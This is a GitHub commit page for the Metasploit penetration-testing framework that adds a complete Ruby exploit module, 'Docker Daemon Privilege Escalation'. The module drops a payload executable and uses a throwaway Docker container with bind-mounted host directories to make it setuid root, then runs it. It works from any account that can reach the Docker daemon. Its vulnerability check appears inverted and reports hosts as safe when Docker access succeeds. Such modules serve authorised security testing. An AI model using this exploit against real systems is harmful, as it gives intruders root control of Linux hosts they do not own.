Skip to content

Commit da516cb

Browse files
committed
Land rapid7#7027, Docker privesc exploit
2 parents 4ba1ed2 + c6214d9 commit da516cb

File tree

1 file changed

+74
-0
lines changed

1 file changed

+74
-0
lines changed
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Post::File
11+
include Msf::Exploit::EXE
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info={})
15+
super(update_info(info, {
16+
'Name' => 'Docker Daemon Privilege Escalation',
17+
'Description' => %q{
18+
This module obtains root privileges from any host account with access to the
19+
Docker daemon. Usually this includes accounts in the `docker` group.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' => ['forzoni'],
23+
'DisclosureDate' => 'Jun 28 2016',
24+
'Platform' => 'linux',
25+
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
26+
'Targets' => [ ['Automatic', {}] ],
27+
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
28+
'SessionTypes' => ['shell', 'meterpreter']
29+
}
30+
))
31+
register_advanced_options([
32+
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
33+
], self.class)
34+
end
35+
36+
def check
37+
if cmd_exec('docker ps && echo true') == 'true'
38+
print_error("Failed to access Docker daemon.")
39+
Exploit::CheckCode::Safe
40+
else
41+
Exploit::CheckCode::Vulnerable
42+
end
43+
end
44+
45+
def exploit
46+
pl = generate_payload_exe
47+
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
48+
print_status("Writing payload executable to '#{exe_path}'")
49+
50+
write_file(exe_path, pl)
51+
register_file_for_cleanup(exe_path)
52+
53+
print_status("Executing script to create and run docker container")
54+
vprint_status cmd_exec("chmod +x #{exe_path}")
55+
vprint_status shell_script(exe_path)
56+
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
57+
58+
print_status "Waiting #{datastore['WfsDelay']}s for payload"
59+
end
60+
61+
def shell_script(exploit_path)
62+
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
63+
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
64+
65+
%Q{
66+
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
67+
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
68+
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
69+
docker rmi -f $IMG
70+
#{exploit_path}
71+
}.strip.split("\n").map(&:strip).join(';')
72+
end
73+
74+
end

0 commit comments

Comments
 (0)